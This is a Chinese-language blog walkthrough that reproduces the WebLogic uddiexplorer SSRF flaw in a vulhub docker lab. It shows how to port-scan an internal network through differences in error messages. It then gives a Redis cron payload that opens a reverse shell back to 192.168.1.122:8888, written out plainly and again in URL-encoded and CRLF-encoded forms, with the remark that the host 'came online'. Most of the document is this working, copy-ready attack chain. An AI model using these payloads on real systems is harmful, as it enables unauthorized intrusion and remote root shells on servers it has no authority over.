Weblogic ssrf攻击实战

3

环境复现

Weblogic中存在一个SSRF漏洞,利用该漏洞可以发送任意HTTP请求,进而攻击内网中redis、fastcgi等脆弱组件。

环境采用vulhub上现有docker环境进行复现

1
2
docker-compose build
docker-compose up -d

访问http://your-ip:7001/uddiexplorer/,无需登录即可查看uddiexplorer应用。

ssrf漏洞测试

漏洞位置

1
http://your-ip:7001/uddiexplorer/SearchPublicRegistries.jsp

payload

1
?rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search&operator=http://127.0.0.1:7001

这里默认存在一个远程资源的加载,且未经过严格过滤

ssrf漏洞探测内网主机端口

可访问的端口会得到错误,一般会返回status code,如果访问的是非http的端口,则返回 which did not have a valid SOAP content-type

修改访问一个不存在的端口,则返回could not connect over HTTP to server

通过返回的错误不同,我们可以判断出内网主机开放了哪些端口。

ssrf漏洞redis反弹shell

探测内网的redis发现目标在192.168.128.2

定时任务payload

1
2
3
4
5
6
7
8
test

set 1 "\n\n\n\n* * * * * root bash -i >& /dev/tcp/192.168.1.122/8888 0>&1\n\n\n\n"
config set dir /etc/
config set dbfilename crontab
save

aaa

进行url编码

1
test%0A%0Aset%201%20%22%5Cn%5Cn%5Cn%5Cn*%20*%20*%20*%20*%20root%20bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.1.122%2F8888%200%3E%261%5Cn%5Cn%5Cn%5Cn%22%0Aconfig%20set%20dir%20%2Fetc%2F%0Aconfig%20set%20dbfilename%20crontab%0Asave%0A%0Aaaa

将其中的%0a替换成%0d%0a

1
test%0d%0a%0d%0aset%201%20%22%5Cn%5Cn%5Cn%5Cn*%20*%20*%20*%20*%20root%20bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.1.122%2F8888%200%3E%261%5Cn%5Cn%5Cn%5Cn%22%0d%0aconfig%20set%20dir%20%2Fetc%2F%0d%0aconfig%20set%20dbfilename%20crontab%0d%0asave%0d%0a%0d%0aaaa

发起攻击

主机成功上线

作者

丨greetdawn丨

发布于

2020-08-22

更新于

2022-04-01

许可协议

评论